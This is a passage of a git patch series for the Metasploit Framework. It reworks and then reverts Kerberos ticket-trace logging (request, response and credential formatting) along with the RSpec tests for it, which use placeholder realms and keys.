-      let(:binary_preview) { '00' * 32 }
-      let(:request) do
+    context 'when serializing a binary string field' do
+      let(:binary_hex) { '00' * 40 }
+      let(:request_message) do
         build_kerberos_message(
           msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
           fields: { ticket: ("\x00".b * 40) }
         )
       end
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REQ
+          ####################
+          %clr%bld%red{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
+            "crealm": "EXAMPLE.LOCAL",
+            "ticket": "[binary 40 bytes: #{binary_hex}]"
+          }%clr
+        EOF
+      end
 
-      it 'logs a bounded binary preview instead of raw data' do
-        subscriber.on_request(request)
+      it 'prints binary data as tagged hex bytes' do
+        log_request
 
-        expect(@output.any? { |line| line.include?("[binary 40 bytes: #{binary_preview}...]") }).to be(true)
+        expect(output_text).to eq(expected_output)
       end
     end
 
-    context 'when serializing structured values' do
+    context 'when serializing structured scalar values' do
       let(:error_code) do
         double(
           'error_code',
@@ -303,30 +338,489 @@
           description: 'Message stream modified'
         )
       end
-
       let(:request_time) { Time.utc(2026, 3, 7, 12, 0, 0) }
-      let(:request) do
+      let(:kdc_options) do
+        Rex::Proto::Kerberos::Model::KdcOptionFlags.from_flags([
+          Rex::Proto::Kerberos::Model::KdcOptionFlags::FORWARDABLE,
+          Rex::Proto::Kerberos::Model::KdcOptionFlags::RENEWABLE
+        ])
+      end
+      let(:request_message) do
         build_kerberos_message(
           msg_type: Rex::Proto::Kerberos::Model::KRB_ERROR,
           fields: {
             stime: request_time,
             tags: %i[ap error],
             metadata: { source: :kdc },
-            error_code: error_code
+            error_code: error_code,
+            options: kdc_options,
+            etype_set: Set.new([18, 17])
           }
         )
       end
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: KRB-ERROR
+          ####################
+          %clr%bld%red{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::KRB_ERROR},
+            "crealm": "EXAMPLE.LOCAL",
+            "stime": "2026-03-07T12:00:00Z",
+            "tags": [
+              "ap",
+              "error"
+            ],
+            "metadata": {
+              "source": "kdc"
+            },
+            "error_code": {
+              "name": "KRB_AP_ERR_MODIFIED",
+              "value": 41,
+              "description": "Message stream modified"
+            },
+            "options": {
+              "value": #{kdc_options.to_i},
+              "flags": [
+                "FORWARDABLE",
+                "RENEWABLE"
+              ]
+            },
+            "etype_set": [
+              18,
+              17
+            ]
+          }%clr
+        EOF
+      end
+
+      it 'normalizes time, symbols, flags, sets and error code objects' do
+        log_request
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when serializing nested Kerberos model objects' do
+      let(:ticket) do
+        Rex::Proto::Kerberos::Model::Ticket.new(
+          tkt_vno: 5,
+          realm: 'EXAMPLE.LOCAL',
+          sname: Rex::Proto::Kerberos::Model::PrincipalName.new(
+            name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
+            name_string: %w[krbtgt EXAMPLE.LOCAL]
+          ),
+          enc_part: Rex::Proto::Kerberos::Model::EncryptedData.new(
+            etype: Rex::Proto::Kerberos::Crypto::Encryption::AES256,
+            kvno: 2,
+            cipher: "\x01\x02\x03".b
+          )
+        )
+      end
+      let(:request_message) do
+        build_kerberos_message(
+          msg_type: Rex::Proto::Kerberos::Model::AS_REP,
+          fields: { ticket: ticket }
+        )
+      end
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Request: AS-REP
+          ####################
+          %clr%bld%red{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
+            "crealm": "EXAMPLE.LOCAL",
+            "ticket": {
+              "tkt_vno": 5,
+              "realm": "EXAMPLE.LOCAL",
+              "sname": {
+                "name_type": #{Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST},
+                "name_string": [
+                  "krbtgt",
+                  "EXAMPLE.LOCAL"
+                ]
+              },
+              "enc_part": {
+                "etype": #{Rex::Proto::Kerberos::Crypto::Encryption::AES256},
+                "kvno": 2,
+                "cipher": "[binary 3 bytes: 010203]"
+              }
+            }
+          }%clr
+        EOF
+      end
+
+      it 'recursively serializes nested model attributes' do
+        log_request
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+  end
+
+  describe '#on_response' do
+    subject(:log_response) { subscriber.on_response(response_message) }
+
+    let(:response_message) { build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REP) }
+
+    before do
+      capture_logging(logger)
+    end
+
+    context 'when KerberosTicketTrace is enabled with default colors' do
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: AS-REP
+          ####################
+          %clr%bld%blu{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'prints a colored response header and JSON payload' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when response is nil' do
+      let(:response_message) { nil }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: UNKNOWN
+          ####################
+          No response received
+        EOF
+      end
+
+      it 'prints a no-response message' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when KerberosTicketTrace is false' do
+      let(:trace_enabled) { false }
+
+      it 'does not print anything' do
+        log_response
+
+        expect(output_text).to be_nil
+      end
+    end
+
+    context 'when KerberosTicketTrace is nil' do
+      let(:trace_enabled) { nil }
+
+      it 'does not print anything' do
+        log_response
+
+        expect(output_text).to be_nil
+      end
+    end
+
+    context 'when response msg_type is unknown' do
+      let(:response_message) { build_kerberos_message(msg_type: 31_337) }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: UNKNOWN (31337)
+          ####################
+          %clr%bld%blu{
+            "pvno": 5,
+            "msg_type": 31337,
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'prints UNKNOWN with the numeric msg_type' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when response object does not expose attributes' do
+      let(:response_message) { :raw_payload }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: UNKNOWN
+          ####################
+          %clr%bld%bluraw_payload%clr
+        EOF
+      end
+
+      it 'falls back to to_s formatting' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to red/blu' do
+      let(:trace_colors) { 'red/blu' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: AS-REP
+          ####################
+          %clr%bld%blu{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'uses the configured response color' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to yel/' do
+      let(:trace_colors) { 'yel/' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: AS-REP
+          ####################
+          %clr{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'uses no response color when the response side is blank' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to /grn' do
+      let(:trace_colors) { '/grn' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: AS-REP
+          ####################
+          %clr%bld%grn{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'uses the configured response color' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to blu' do
+      let(:trace_colors) { 'blu' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: AS-REP
+          ####################
+          %clr{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'treats a single color as request-only' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when KerberosTicketTraceColors is set to /' do
+      let(:trace_colors) { '/' }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Response: AS-REP
+          ####################
+          %clr{
+            "pvno": 5,
+            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REP},
+            "crealm": "EXAMPLE.LOCAL"
+          }%clr
+        EOF
+      end
+
+      it 'disables both request and response color prefixes' do
+        log_response
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    {
+      Rex::Proto::Kerberos::Model::AS_REQ => 'AS-REQ',
+      Rex::Proto::Kerberos::Model::TGS_REQ => 'TGS-REQ',
+      Rex::Proto::Kerberos::Model::TGS_REP => 'TGS-REP',
+      Rex::Proto::Kerberos::Model::AP_REQ => 'AP-REQ',
+      Rex::Proto::Kerberos::Model::AP_REP => 'AP-REP',
+      Rex::Proto::Kerberos::Model::KRB_ERROR => 'KRB-ERROR'
+    }.each do |msg_type, msg_name|
+      context "when response msg_type is #{msg_name}" do
+        let(:response_message) { build_kerberos_message(msg_type: msg_type) }
+        let(:expected_output) do
+          <<~EOF.rstrip
+            ####################
+            # Kerberos Response: #{msg_name}
+            ####################
+            %clr%bld%blu{
+              "pvno": 5,
+              "msg_type": #{msg_type},
+              "crealm": "EXAMPLE.LOCAL"
+            }%clr
+          EOF
+        end
+
+        it 'maps message type to the expected label' do
+          log_response
+
+          expect(output_text).to eq(expected_output)
+        end
+      end
+    end
+  end
+
+  describe '#on_credential' do
+    subject(:log_credential) { subscriber.on_credential(credential_to_log, source: source) }
+
+    let(:credential) { double('credential') }
+    let(:credential_to_log) { credential }
+    let(:source) { 'TGS' }
+    let(:presented_credential) do
+      <<~EOF.rstrip
+        Server: krbtgt/EXAMPLE.LOCAL@EXAMPLE.LOCAL
+        Client: Administrator@EXAMPLE.LOCAL
+        Ticket etype: 18 (AES256)
+        Key: deadbeef
+      EOF
+    end
+    let(:presenter) do
+      instance_double(
+        Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter,
+        present_cred: presented_credential
+      )
+    end
+
+    before do
+      capture_logging(logger)
+      allow(Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter).to receive(:new).with(nil).and_return(presenter)
+    end
+
+    context 'when trace is enabled and credential is present' do
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Credential: TGS
+          ####################
+          Creds: 1
+            Credential[0]:
+              Server: krbtgt/EXAMPLE.LOCAL@EXAMPLE.LOCAL
+              Client: Administrator@EXAMPLE.LOCAL
+              Ticket etype: 18 (AES256)
+              Key: deadbeef
+        EOF
+      end
+
+      it 'prints presenter output under the credential header' do
+        log_credential
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when source is nil' do
+      let(:source) { nil }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Credential
+          ####################
+          Creds: 1
+            Credential[0]:
+              Server: krbtgt/EXAMPLE.LOCAL@EXAMPLE.LOCAL
+              Client: Administrator@EXAMPLE.LOCAL
+              Ticket etype: 18 (AES256)
+              Key: deadbeef
+        EOF
+      end
+
+      it 'omits the source suffix from the header' do
+        log_credential
+
+        expect(output_text).to eq(expected_output)
+      end
+    end
+
+    context 'when credential is nil' do
+      let(:credential_to_log) { nil }
+
+      it 'does not print anything' do
+        log_credential
+
+        expect(output_text).to be_nil
+      end
+    end
+
+    context 'when KerberosTicketTrace is false' do
+      let(:trace_enabled) { false }
+
+      it 'does not print anything' do
+        log_credential
+
+        expect(output_text).to be_nil
+      end
+    end
+
+    context 'when presenter raises an error' do
+      let(:presenter) { instance_double(Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter) }
+      let(:expected_output) do
+        <<~EOF.rstrip
+          ####################
+          # Kerberos Credential: TGS
+          ####################
+          Credential presenter error: RuntimeError: boom
+        EOF
+      end
+
+      before do
+        allow(presenter).to receive(:present_cred).with(credential).and_raise(RuntimeError, 'boom')
+      end
 
-      it 'serializes time, symbols, hashes, arrays and error-code objects' do
-        subscriber.on_request(request)
+      it 'prints the presenter error message' do
+        log_credential
 
-        expect(@output).to include('  "stime": "2026-03-07T12:00:00Z",')
-        expect(@output).to include('    "ap",')
-        expect(@output).to include('    "error"')
-        expect(@output).to include('    "source": "kdc"')
-        expect(@output).to include('    "name": "KRB_AP_ERR_MODIFIED",')
-        expect(@output).to include('    "value": 41,')
-        expect(@output).to include('    "description": "Message stream modified"')
+        expect(output_text).to eq(expected_output)
       end
     end
   end

From 911b5a3bcd7846b2154684b92c59f176445b27f0 Mon Sep 17 00:00:00 2001
From: cyan <1570302455@qq.com>
Date: Sun, 8 Mar 2026 06:29:42 -0700
Subject: [PATCH 100/103] Revert "Address review feedback for Kerberos ticket
 trace logging"

This reverts commit 28814edfea60ade296a2b5fc7853c7b3aaba2556.
---
 .../kerberos/service_authenticator/base.rb    |   9 +-
 .../kerberos/kerberos_logger_subscriber.rb    |  47 +-
 lib/rex/proto/kerberos/kerberos_subscriber.rb |   8 +-
 .../kerberos_logger_subscriber_spec.rb        | 894 ++++--------------
 4 files changed, 210 insertions(+), 748 deletions(-)

diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb
index 942a0a8398126..e682bb360549e 100644
--- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb
+++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb
@@ -664,7 +664,6 @@ def authenticate_via_kdc(options = {})
     options.fetch(:ticket_storage, @ticket_storage).store_ccache(ccache, host: rhost)
 
     credential = ccache.credentials.first
-    kerberos_trace_subscriber.on_credential(credential, source: 'TGT')
     session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
       type: credential.keyblock.enctype.value,
       value: credential.keyblock.data.value
@@ -783,8 +782,6 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes,
       client: client,
       server: sname
     )
-    credential = ccache.credentials.first
-    kerberos_trace_subscriber.on_credential(credential, source: 'TGS')
 
     tgs_ticket = tgs_res.ticket
     tgs_auth = decrypt_kdc_tgs_rep_enc_part(
@@ -793,7 +790,7 @@ def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes,
       msg_type: Rex::Proto::Kerberos::Crypto::KeyUsage::TGS_REP_ENCPART_SESSION_KEY
     )
 
-    [tgs_ticket, tgs_auth, credential]
+    [tgs_ticket, tgs_auth, ccache.credentials.first]
   end
 
   private
@@ -1076,10 +1073,8 @@ def request_delegation_ticket(session_key, tgt_ticket, realm, client_name, tgt_e
     )
 
     ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses(delegated_tgs_res, delegated_tgs_auth)
-    delegated_credential = ccache.credentials.first
-    kerberos_trace_subscriber.on_credential(delegated_credential, source: 'Delegation TGS')
 
-    [delegated_tgs_ticket, delegated_tgs_auth, delegated_credential]
+    [delegated_tgs_ticket, delegated_tgs_auth, ccache.credentials.first]
   end
 
   # Search the database for a credential object that can be used for authentication.
diff --git a/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb b/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
index bde33004aefd7..8cb127bedc06c 100644
--- a/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
+++ b/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
@@ -1,11 +1,9 @@
 # -*- coding: binary -*-
 
 require 'json'
-require 'set'
 require 'time'
 require 'rex/proto/kerberos/model'
 require 'rex/proto/kerberos/kerberos_subscriber'
-require 'rex/proto/kerberos/credential_cache/krb5_ccache_presenter'
 
 module Rex
 module Proto
@@ -13,6 +11,9 @@ module Kerberos
 
   # Logs Kerberos requests/responses
   class KerberosLoggerSubscriber < KerberosSubscriber
+    # Limit binary previews to keep logs readable and avoid dumping large blobs.
+    BINARY_PREVIEW_SIZE = 32
+
     def initialize(logger:)
       super()
       raise RuntimeError, "Incompatible logger" unless logger.respond_to?(:print_line) && logger.respond_to?(:datastore)
@@ -42,15 +43,6 @@ def on_response(response)
       @logger.print_line("%clr#{response_color}#{format_message(response)}%clr")
     end
 
-    # (see Rex::Proto::Kerberos::KerberosSubscriber#on_credential)
-    def on_credential(credential, source: nil)
-      return unless trace_enabled?
-      return if credential.nil?
-
-      print_credential_header(source)
-      @logger.print_line(format_credential(credential))
-    end
-
     private
 
     def trace_enabled?
@@ -73,12 +65,6 @@ def print_header(direction, message)
       @logger.print_line('#' * 20)
     end
 
-    def print_credential_header(source)
-      @logger.print_line('#' * 20)
-      @logger.print_line("# Kerberos Credential#{source ? ": #{source}" : ''}")
-      @logger.print_line('#' * 20)
-    end
-
     def message_type_name(message)
       msg_type = message.msg_type if message.respond_to?(:msg_type)
       case msg_type
@@ -115,16 +101,6 @@ def format_message(message)
       end
     end
 
-    def format_credential(credential)
-      rendered_credential = ticket_presenter.present_cred(credential)
-      [
-        'Creds: 1',
-        "  Credential[0]:\n#{rendered_credential.indent(4)}"
-      ].join("\n")
-    rescue StandardError => e
-      "Credential presenter error: #{e.class}: #{e.message}"
-    end
-
     def serialize_element(element)
       element.attributes.each_with_object({}) do |attribute, output|
         value = element.public_send(attribute)
@@ -154,17 +130,10 @@ def serialize_scalar_value(value)
       case value
       when Array
         value.map { |entry| serialize_value(entry) }
-      when Set
-        value.to_a.map { |entry| serialize_value(entry) }
       when Hash
         value.each_with_object({}) do |(key, entry), output|
           output[key.to_s] = serialize_value(entry)
         end
-      when Rex::Proto::Kerberos::Model::KerberosFlags
-        {
-          'value' => value.to_i,
-          'flags' => value.enabled_flag_names.map(&:to_s)
-        }
       when Time
         value.utc.iso8601
       when String
@@ -185,12 +154,10 @@ def kerberos_error_code?(value)
     def serialize_string(value)
       return value if printable_string?(value)
 
-      # Expand binary/non-printable strings fully in hex.
-      "[binary #{value.bytesize} bytes: #{value.unpack1('H*')}]"
-    end
-
-    def ticket_presenter
-      @ticket_presenter ||= Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(nil)
+      # Show a short hex prefix when strings are binary/non-printable.
+      preview = value.byteslice(0, BINARY_PREVIEW_SIZE).to_s.unpack1('H*')
+      suffix = value.bytesize > BINARY_PREVIEW_SIZE ? '...' : ''
+      "[binary #{value.bytesize} bytes: #{preview}#{suffix}]"
     end
 
     def printable_string?(value)
diff --git a/lib/rex/proto/kerberos/kerberos_subscriber.rb b/lib/rex/proto/kerberos/kerberos_subscriber.rb
index 486d35b661a56..fac59992f76ff 100644
--- a/lib/rex/proto/kerberos/kerberos_subscriber.rb
+++ b/lib/rex/proto/kerberos/kerberos_subscriber.rb
@@ -15,14 +15,8 @@ def on_request(request)
     def on_response(response)
       nil
     end
-
-    # @param credential [Rex::Proto::Kerberos::CredentialCache::Krb5CcacheCredential]
-    # @param source [String,nil]
-    def on_credential(credential, source: nil)
-      nil
-    end
   end
 
 end
 end
-end
+end
\ No newline at end of file
diff --git a/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb b/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
index e4b654494fee5..bea5094a5e2c6 100644
--- a/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
+++ b/spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb
@@ -1,335 +1,300 @@
-# -*- coding: binary -*-
+# -*- coding:binary -*-
 
-require 'set'
 require 'spec_helper'
 
 RSpec.describe Rex::Proto::Kerberos::KerberosLoggerSubscriber do
   include_context 'Msf::UIDriver'
 
-  subject(:subscriber) { described_class.new(logger: logger) }
+  let(:mock_module) { instance_double(Msf::Exploit, datastore: mock_datastore) }
+
+  subject(:subscriber) do
+    capture_logging(mock_module)
+    described_class.new(logger: mock_module)
+  end
 
-  let(:trace_enabled) { true }
-  let(:trace_colors) { nil }
   let(:mock_datastore) do
     {
-      'KerberosTicketTrace' => trace_enabled,
-      'KerberosTicketTraceColors' => trace_colors
+      'KerberosTicketTrace' => true
     }
   end
-  let(:logger) { instance_double(Msf::Exploit, datastore: mock_datastore) }
-  let(:output_text) { @output&.join("\n") }
 
-  describe '#initialize' do
-    subject(:build_subscriber) { described_class.new(logger: logger) }
+  let(:request) do
+    build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REQ)
+  end
 
-    context 'when logger responds to print_line and datastore' do
-      let(:logger) { double('logger', print_line: nil, datastore: {}) }
+  let(:response) do
+    build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REP)
+  end
 
-      it 'initializes successfully' do
-        expect { build_subscriber }.not_to raise_error
-      end
+  describe '#on_request' do
+    let(:normal_request_output) do
+      [
+        '####################',
+        '# Kerberos Request: AS-REQ',
+        '####################',
+        '%clr%bld%red{',
+        '  "pvno": 5,',
+        "  \"msg_type\": #{Rex::Proto::Kerberos::Model::AS_REQ},",
+        '  "crealm": "EXAMPLE.LOCAL"',
+        '}%clr'
+      ]
     end
 
-    context 'when logger does not respond to print_line' do
-      let(:logger) { double('logger', datastore: {}) }
+    context 'when KerberosTicketTrace is enabled' do
+      it 'logs AS-REQ messages with default request color' do
+        subscriber.on_request(request)
 
-      it 'raises an incompatible logger error' do
-        expect { build_subscriber }.to raise_error(RuntimeError, 'Incompatible logger')
+        expect(@output).to eq(normal_request_output)
       end
     end
 
-    context 'when logger does not respond to datastore' do
-      let(:logger) { double('logger', print_line: nil) }
-
-      it 'raises an incompatible logger error' do
-        expect { build_subscriber }.to raise_error(RuntimeError, 'Incompatible logger')
+    context 'when KerberosTicketTrace is disabled' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => false
+        }
       end
-    end
-  end
-
-  describe '#on_request' do
-    subject(:log_request) { subscriber.on_request(request_message) }
 
-    let(:request_message) { build_kerberos_message(msg_type: Rex::Proto::Kerberos::Model::AS_REQ) }
+      it 'does not log request data' do
+        subscriber.on_request(request)
 
-    before do
-      capture_logging(logger)
+        expect(@output).to be_nil
+      end
     end
 
-    context 'when KerberosTicketTrace is enabled with default colors' do
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr%bld%red{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
+    context 'when KerberosTicketTrace is unset' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => nil
+        }
       end
 
-      it 'prints a colored request header and JSON payload' do
-        log_request
+      it 'does not log request data' do
+        subscriber.on_request(request)
 
-        expect(output_text).to eq(expected_output)
+        expect(@output).to be_nil
       end
     end
 
-    context 'when KerberosTicketTrace is false' do
-      let(:trace_enabled) { false }
+    context 'when KerberosTicketTraceColors is set' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => 'blu/grn'
+        }
+      end
 
-      it 'does not print anything' do
-        log_request
+      it 'uses custom request color' do
+        subscriber.on_request(request)
 
-        expect(output_text).to be_nil
+        expect(@output[3]).to eq('%clr%bld%blu{')
       end
     end
 
-    context 'when KerberosTicketTrace is nil' do
-      let(:trace_enabled) { nil }
+    context 'when KerberosTicketTraceColors is set to a single request color with trailing slash' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => 'yel/'
+        }
+      end
 
-      it 'does not print anything' do
-        log_request
+      it 'uses the configured request color' do
+        subscriber.on_request(request)
 
-        expect(output_text).to be_nil
+        expect(@output[3]).to eq('%clr%bld%yel{')
       end
     end
 
-    context 'when request msg_type is unknown' do
-      let(:request_message) { build_kerberos_message(msg_type: 999) }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: UNKNOWN (999)
-          ####################
-          %clr%bld%red{
-            "pvno": 5,
-            "msg_type": 999,
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
+    context 'when KerberosTicketTraceColors is set to response color only with a leading slash' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => '/yel'
+        }
       end
 
-      it 'prints UNKNOWN with the numeric msg_type' do
-        log_request
+      it 'logs request without color formatting' do
+        subscriber.on_request(request)
 
-        expect(output_text).to eq(expected_output)
+        expect(@output[3]).to eq('%clr{')
       end
     end
 
-    context 'when request object does not expose attributes' do
-      let(:request_message) { 'raw-payload' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: UNKNOWN
-          ####################
-          %clr%bld%redraw-payload%clr
-        EOF
+    context 'when KerberosTicketTraceColors is set to slash only' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => '/'
+        }
       end
 
-      it 'falls back to to_s formatting' do
-        log_request
+      it 'logs request without color formatting' do
+        subscriber.on_request(request)
 
-        expect(output_text).to eq(expected_output)
+        expect(@output[3]).to eq('%clr{')
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to red/blu' do
-      let(:trace_colors) { 'red/blu' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr%bld%red{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
+    context 'when KerberosTicketTraceColors is set to a single color without slash' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => 'yel'
+        }
       end
 
       it 'uses the configured request color' do
-        log_request
+        subscriber.on_request(request)
 
-        expect(output_text).to eq(expected_output)
+        expect(@output[3]).to eq('%clr%bld%yel{')
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to yel/' do
-      let(:trace_colors) { 'yel/' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr%bld%yel{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
+    context 'when request type is unknown' do
+      let(:request) do
+        build_kerberos_message(msg_type: 999)
       end
 
-      it 'uses the configured request color with a blank response color' do
-        log_request
+      it 'logs request with UNKNOWN header' do
+        subscriber.on_request(request)
 
-        expect(output_text).to eq(expected_output)
+        expect(@output).to include('# Kerberos Request: UNKNOWN (999)')
       end
     end
+  end
+
+  describe '#on_response' do
+    let(:normal_response_output) do
+      [
+        '####################',
+        '# Kerberos Response: AS-REP',
+        '####################',
+        '%clr%bld%blu{',
+        '  "pvno": 5,',
+        "  \"msg_type\": #{Rex::Proto::Kerberos::Model::AS_REP},",
+        '  "crealm": "EXAMPLE.LOCAL"',
+        '}%clr'
+      ]
+    end
+
+    let(:nil_response_output) do
+      [
+        '####################',
+        '# Kerberos Response: UNKNOWN',
+        '####################',
+        'No response received'
+      ]
+    end
 
-    context 'when KerberosTicketTraceColors is set to /grn' do
-      let(:trace_colors) { '/grn' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
+    context 'when KerberosTicketTrace is enabled' do
+      it 'logs AS-REP messages with default response color' do
+        subscriber.on_response(response)
+
+        expect(@output).to eq(normal_response_output)
       end
 
-      it 'uses no request color when the request side is blank' do
-        log_request
+      it 'logs missing responses' do
+        subscriber.on_response(nil)
 
-        expect(output_text).to eq(expected_output)
+        expect(@output).to eq(nil_response_output)
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to blu' do
-      let(:trace_colors) { 'blu' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr%bld%blu{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
+    context 'when KerberosTicketTraceColors is set' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => 'blu/grn'
+        }
       end
 
-      it 'treats a single color as request-only' do
-        log_request
+      it 'uses custom response color' do
+        subscriber.on_response(response)
 
-        expect(output_text).to eq(expected_output)
+        expect(@output[3]).to eq('%clr%bld%grn{')
       end
     end
 
-    context 'when KerberosTicketTraceColors is set to /' do
-      let(:trace_colors) { '/' }
-      let(:expected_output) do
-        <<~EOF.rstrip
-          ####################
-          # Kerberos Request: AS-REQ
-          ####################
-          %clr{
-            "pvno": 5,
-            "msg_type": #{Rex::Proto::Kerberos::Model::AS_REQ},
-            "crealm": "EXAMPLE.LOCAL"
-          }%clr
-        EOF
+    context 'when KerberosTicketTraceColors is set to a single request color with trailing slash' do
+      let(:mock_datastore) do
+        {
+          'KerberosTicketTrace' => true,
+          'KerberosTicketTraceColors' => 'yel/'
+        }
       end
 
-      it 'disables both request and response color prefixes' do
-        log_request
+      it 'logs response without color formatting' do
